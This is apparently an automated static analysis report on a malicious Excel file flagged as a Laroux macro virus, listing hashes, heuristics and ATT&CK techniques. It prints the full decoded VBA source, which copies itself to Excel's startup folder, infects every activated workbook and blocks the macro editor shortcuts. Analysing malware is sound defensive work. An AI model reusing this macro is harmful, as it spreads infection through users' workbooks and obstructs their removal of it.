Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 29963021b6abab18…

MALICIOUS

Office (OLE)

92.5 KB Created: 2012-04-26 06:00:05 Authoring application: Microsoft Excel First seen: 2020-09-24
MD5: 2bff302f5deb756316fa02d7a1421767 SHA-1: 7ef9900152ccd630f3f1eab93a680b4e43206701 SHA-256: 29963021b6abab1814b8bcef0a379915a85b18d55b008794f739fdff767d7eba
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic and the high-severity Auto_Open heuristic indicate the presence of malicious VBA macros. The VBA script attempts to copy itself to the Excel startup directory as 'StartUp.xls' and registers a macro ('cop') to execute when a sheet is activated, thereby establishing persistence. The document body contains a large list of names and positions, likely a lure to disguise the malicious macro.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1176 bytes
SHA-256: 9e8ce1401c4739b83f9e6a6842670f92d64e220d4214f18d0db5f915102b51a3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

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